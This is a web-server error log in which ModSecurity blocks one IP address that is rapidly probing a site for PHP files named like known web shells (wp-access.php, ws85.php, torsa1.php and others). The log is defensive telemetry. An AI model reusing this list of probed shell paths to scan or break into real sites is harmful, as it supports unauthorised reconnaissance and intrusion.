[Fri Mar 27 04:51:11.196562 2026] [:error] [pid 63897:tid 63909] [client 72.146.33.200:64090] [client 72.146.33.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-access.php"] [unique_id "acWcP2VSkmYmLu7ycYjHogAAAQo"]
[Fri Mar 27 04:51:12.459202 2026] [:error] [pid 27750:tid 27835] [client 72.146.33.200:64023] [client 72.146.33.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-access.php"] [unique_id "acWcQIaSil5rd17ieLwpJwAAAJE"]
[Fri Mar 27 04:51:15.279475 2026] [:error] [pid 27750:tid 27834] [client 72.146.33.200:64827] [client 72.146.33.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-access.php"] [unique_id "acWcQ4aSil5rd17ieLwpNgAAAJA"]
[Fri Mar 27 04:51:16.431490 2026] [:error] [pid 63897:tid 63905] [client 72.146.33.200:64409] File does not exist: /usr/local/apache/htdocs/suspended-page/Cap.php
[Fri Mar 27 04:51:16.919039 2026] [:error] [pid 63897:tid 63921] [client 72.146.33.200:64409] File does not exist: /usr/local/apache/htdocs/suspended-page/ms.php
[Fri Mar 27 04:51:17.155585 2026] [:error] [pid 63897:tid 63912] [client 72.146.33.200:64409] File does not exist: /usr/local/apache/htdocs/suspended-page/hplfuns.php
[Fri Mar 27 04:51:17.400912 2026] [:error] [pid 63897:tid 63909] [client 72.146.33.200:64409] File does not exist: /usr/local/apache/htdocs/suspended-page/155.php
[Fri Mar 27 04:51:17.637400 2026] [:error] [pid 63897:tid 63905] [client 72.146.33.200:64409] File does not exist: /usr/local/apache/htdocs/suspended-page/d12.php
[Fri Mar 27 04:51:17.905005 2026] [:error] [pid 63897:tid 63921] [client 72.146.33.200:64409] File does not exist: /usr/local/apache/htdocs/suspended-page/tfm.php
[Fri Mar 27 04:51:18.161476 2026] [:error] [pid 63897:tid 63917] [client 72.146.33.200:64409] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-act.php
[Fri Mar 27 04:51:19.804048 2026] [:error] [pid 63897:tid 63917] [client 72.146.33.200:64409] File does not exist: /usr/local/apache/htdocs/suspended-page/amax.php
[Fri Mar 27 04:51:20.045854 2026] [:error] [pid 63897:tid 63900] [client 72.146.33.200:64409] File does not exist: /usr/local/apache/htdocs/suspended-page/ws86.php
[Fri Mar 27 04:51:20.284002 2026] [:error] [pid 63897:tid 63899] [client 72.146.33.200:64409] File does not exist: /usr/local/apache/htdocs/suspended-page/lib.php
[Fri Mar 27 04:51:20.517004 2026] [:error] [pid 63897:tid 63916] [client 72.146.33.200:64409] [client 72.146.33.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/jga.php"] [unique_id "acWcSGVSkmYmLu7ycYjHywAAARE"]
[Fri Mar 27 04:51:21.205205 2026] [:error] [pid 27750:tid 27833] [client 72.146.33.200:64387] [client 72.146.33.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/jga.php"] [unique_id "acWcSYaSil5rd17ieLwpQAAAAI8"]
[Fri Mar 27 04:51:22.103957 2026] [:error] [pid 63897:tid 63904] [client 72.146.33.200:64736] [client 72.146.33.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/jga.php"] [unique_id "acWcSmVSkmYmLu7ycYjH0AAAAQU"]
[Fri Mar 27 04:51:22.789607 2026] [:error] [pid 27851:tid 27869] [client 72.146.33.200:64768] [client 72.146.33.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/jga.php"] [unique_id "acWcSnR2ccxe3RMCLbr9dwAAAMs"]
[Fri Mar 27 04:51:23.274465 2026] [:error] [pid 27851:tid 27868] [client 72.146.33.200:64018] [client 72.146.33.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/admin-footer.php"] [unique_id "acWcS3R2ccxe3RMCLbr9egAAAMo"]
[Fri Mar 27 04:51:23.817359 2026] [:error] [pid 27750:tid 27834] [client 72.146.33.200:62319] [client 72.146.33.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/admin-footer.php"] [unique_id "acWcS4aSil5rd17ieLwpRwAAAJA"]
[Fri Mar 27 04:51:24.602355 2026] [:error] [pid 27750:tid 27818] [client 72.146.33.200:65304] [client 72.146.33.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/admin-footer.php"] [unique_id "acWcTIaSil5rd17ieLwpSAAAAIA"]
[Fri Mar 27 04:51:25.319340 2026] [:error] [pid 63897:tid 63914] [client 72.146.33.200:64392] [client 72.146.33.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/admin-footer.php"] [unique_id "acWcTWVSkmYmLu7ycYjH2wAAAQ8"]
[Fri Mar 27 04:51:25.826883 2026] [:error] [pid 63897:tid 63903] [client 72.146.33.200:64408] [client 72.146.33.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-png.php"] [unique_id "acWcTWVSkmYmLu7ycYjH4AAAAQQ"]
[Fri Mar 27 04:51:26.681032 2026] [:error] [pid 27851:tid 27858] [client 72.146.33.200:62314] [client 72.146.33.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-png.php"] [unique_id "acWcTnR2ccxe3RMCLbr9fgAAAMA"]
[Fri Mar 27 04:51:27.301528 2026] [:error] [pid 27851:tid 27859] [client 72.146.33.200:64714] [client 72.146.33.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-png.php"] [unique_id "acWcT3R2ccxe3RMCLbr9gAAAAME"]
[Fri Mar 27 04:51:27.875998 2026] [:error] [pid 63897:tid 63901] [client 72.146.33.200:65262] [client 72.146.33.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-png.php"] [unique_id "acWcT2VSkmYmLu7ycYjH6wAAAQI"]
[Fri Mar 27 04:51:28.626872 2026] [:error] [pid 63897:tid 63911] [client 72.146.33.200:64039] [client 72.146.33.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp5.php"] [unique_id "acWcUGVSkmYmLu7ycYjH_QAAAQw"]
[Fri Mar 27 04:51:29.314169 2026] [:error] [pid 27749:tid 27813] [client 72.146.33.200:62290] [client 72.146.33.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp5.php"] [unique_id "acWcUcEqyoMni2Q6_X5SDAAAAFY"]
[Fri Mar 27 04:51:30.059688 2026] [:error] [pid 27749:tid 27803] [client 72.146.33.200:65328] [client 72.146.33.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp5.php"] [unique_id "acWcUsEqyoMni2Q6_X5SDgAAAEw"]
[Fri Mar 27 04:51:32.184626 2026] [:error] [pid 27749:tid 27814] [client 72.146.33.200:62275] [client 72.146.33.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp5.php"] [unique_id "acWcVMEqyoMni2Q6_X5SFgAAAFc"]
[Fri Mar 27 04:51:33.950464 2026] [:error] [pid 27851:tid 27859] [client 72.146.33.200:65281] [client 72.146.33.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws85.php"] [unique_id "acWcVXR2ccxe3RMCLbr9nQAAAME"]
[Fri Mar 27 04:51:35.475628 2026] [:error] [pid 4293:tid 4316] [client 72.146.33.200:64723] [client 72.146.33.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws85.php"] [unique_id "acWcV5LjeJUC3OKtEx87LwAAAVU"]
[Fri Mar 27 04:51:36.515841 2026] [:error] [pid 63897:tid 63913] [client 72.146.33.200:65225] [client 72.146.33.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws85.php"] [unique_id "acWcWGVSkmYmLu7ycYjIEgAAAQ4"]
[Fri Mar 27 04:51:37.668731 2026] [:error] [pid 4293:tid 4314] [client 72.146.33.200:65333] [client 72.146.33.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws85.php"] [unique_id "acWcWZLjeJUC3OKtEx87PgAAAVM"]
[Fri Mar 27 04:51:40.044191 2026] [:error] [pid 27750:tid 27842] [client 72.146.33.200:62282] [client 72.146.33.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/public/file.php"] [unique_id "acWcXIaSil5rd17ieLwpaQAAAJg"]
[Fri Mar 27 04:51:41.206840 2026] [:error] [pid 27851:tid 27858] [client 72.146.33.200:64816] [client 72.146.33.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/public/file.php"] [unique_id "acWcXXR2ccxe3RMCLbr9rwAAAMA"]
[Fri Mar 27 04:51:42.104414 2026] [:error] [pid 63897:tid 63900] [client 72.146.33.200:62335] [client 72.146.33.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/public/file.php"] [unique_id "acWcXmVSkmYmLu7ycYjIJQAAAQE"]
[Fri Mar 27 04:51:42.720087 2026] [:error] [pid 63897:tid 63908] [client 72.146.33.200:64765] [client 72.146.33.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/public/file.php"] [unique_id "acWcXmVSkmYmLu7ycYjIKgAAAQk"]
[Fri Mar 27 04:51:43.484529 2026] [:error] [pid 63897:tid 63899] [client 72.146.33.200:62322] [client 72.146.33.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/buc.php"] [unique_id "acWcX2VSkmYmLu7ycYjIMQAAAQA"]
[Fri Mar 27 04:51:44.013051 2026] [:error] [pid 27750:tid 27820] [client 72.146.33.200:64744] [client 72.146.33.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/buc.php"] [unique_id "acWcYIaSil5rd17ieLwpbgAAAII"]
[Fri Mar 27 04:51:44.767193 2026] [:error] [pid 27749:tid 27807] [client 72.146.33.200:65343] [client 72.146.33.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/buc.php"] [unique_id "acWcYMEqyoMni2Q6_X5SJwAAAFA"]
[Fri Mar 27 04:51:45.465759 2026] [:error] [pid 27851:tid 27879] [client 72.146.33.200:64413] [client 72.146.33.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/buc.php"] [unique_id "acWcYXR2ccxe3RMCLbr9tAAAANU"]
[Fri Mar 27 04:51:46.705547 2026] [:error] [pid 27749:tid 27814] [client 72.146.33.200:64804] [client 72.146.33.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws84.php"] [unique_id "acWcYsEqyoMni2Q6_X5SLAAAAFc"]
[Fri Mar 27 04:51:47.244864 2026] [:error] [pid 4341:tid 4353] [client 72.146.33.200:64751] [client 72.146.33.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws84.php"] [unique_id "acWcY-KJWrNB5dMlERHsUgAAAYo"]
[Fri Mar 27 04:51:47.900613 2026] [:error] [pid 27750:tid 27833] [client 72.146.33.200:64093] [client 72.146.33.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws84.php"] [unique_id "acWcY4aSil5rd17ieLwpcAAAAI8"]
[Fri Mar 27 04:51:48.546804 2026] [:error] [pid 27851:tid 27858] [client 72.146.33.200:64720] [client 72.146.33.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws84.php"] [unique_id "acWcZHR2ccxe3RMCLbr9vQAAAMA"]
[Fri Mar 27 04:51:49.141833 2026] [:error] [pid 4341:tid 4346] [client 72.146.33.200:62301] [client 72.146.33.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-the.php"] [unique_id "acWcZeKJWrNB5dMlERHsWQAAAYM"]
[Fri Mar 27 04:51:50.408380 2026] [:error] [pid 63897:tid 63899] [client 72.146.33.200:65228] [client 72.146.33.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-the.php"] [unique_id "acWcZmVSkmYmLu7ycYjINwAAAQA"]
[Fri Mar 27 04:51:51.201993 2026] [:error] [pid 4341:tid 4344] [client 72.146.33.200:63632] [client 72.146.33.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-the.php"] [unique_id "acWcZ-KJWrNB5dMlERHsYwAAAYE"]
[Fri Mar 27 04:51:52.307616 2026] [:error] [pid 4293:tid 4297] [client 72.146.33.200:65270] [client 72.146.33.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-the.php"] [unique_id "acWcaJLjeJUC3OKtEx87igAAAUI"]
[Fri Mar 27 04:51:53.063460 2026] [:error] [pid 27750:tid 27827] [client 72.146.33.200:65245] [client 72.146.33.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/torsa1.php"] [unique_id "acWcaYaSil5rd17ieLwpcQAAAIk"]
[Fri Mar 27 04:51:53.735891 2026] [:error] [pid 4341:tid 4362] [client 72.146.33.200:64121] [client 72.146.33.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/torsa1.php"] [unique_id "acWcaeKJWrNB5dMlERHsawAAAZM"]
[Fri Mar 27 04:51:54.240685 2026] [:error] [pid 27851:tid 27858] [client 72.146.33.200:64445] [client 72.146.33.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/torsa1.php"] [unique_id "acWcanR2ccxe3RMCLbr9ygAAAMA"]
[Fri Mar 27 04:51:54.777637 2026] [:error] [pid 27749:tid 27811] [client 72.146.33.200:64054] [client 72.146.33.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/torsa1.php"] [unique_id "acWcasEqyoMni2Q6_X5SOQAAAFQ"]
[Fri Mar 27 04:51:55.267360 2026] [:error] [pid 27750:tid 27820] [client 72.146.33.200:64431] [client 72.146.33.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/abc.php"] [unique_id "acWca4aSil5rd17ieLwpdgAAAII"]
[Fri Mar 27 04:51:55.808603 2026] [:error] [pid 4341:tid 4355] [client 72.146.33.200:65285] [client 72.146.33.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/abc.php"] [unique_id "acWca-KJWrNB5dMlERHscAAAAYw"]
[Fri Mar 27 04:51:56.436622 2026] [:error] [pid 4341:tid 4354] [client 72.146.33.200:64111] [client 72.146.33.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/abc.php"] [unique_id "acWcbOKJWrNB5dMlERHsdQAAAYs"]
[Fri Mar 27 04:51:57.314130 2026] [:error] [pid 4293:tid 4303] [client 72.146.33.200:63617] [client 72.146.33.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/abc.php"] [unique_id "acWcbZLjeJUC3OKtEx87ogAAAUg"]
[Fri Mar 27 04:51:58.425941 2026] [:error] [pid 4341:tid 4349] [client 72.146.33.200:64708] [client 72.146.33.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/nw.php"] [unique_id "acWcbuKJWrNB5dMlERHsegAAAYY"]
[Fri Mar 27 04:51:59.664135 2026] [:error] [pid 63897:tid 63900] [client 72.146.33.200:64024] [client 72.146.33.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/nw.php"] [unique_id "acWcb2VSkmYmLu7ycYjIRgAAAQE"]
[Fri Mar 27 04:52:00.409787 2026] [:error] [pid 27851:tid 27866] [client 72.146.33.200:64096] [client 72.146.33.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/nw.php"] [unique_id "acWccHR2ccxe3RMCLbr90gAAAMg"]
[Fri Mar 27 04:52:01.865685 2026] [:error] [pid 4341:tid 4344] [client 72.146.33.200:64756] [client 72.146.33.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/nw.php"] [unique_id "acWcceKJWrNB5dMlERHsfAAAAYE"]
[Fri Mar 27 04:52:03.445302 2026] [:error] [pid 63897:tid 63914] [client 72.146.33.200:62303] [client 72.146.33.200] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/44.php"] [unique_id "acWcc2VSkmYmLu7ycYjISgAAAQ8"]
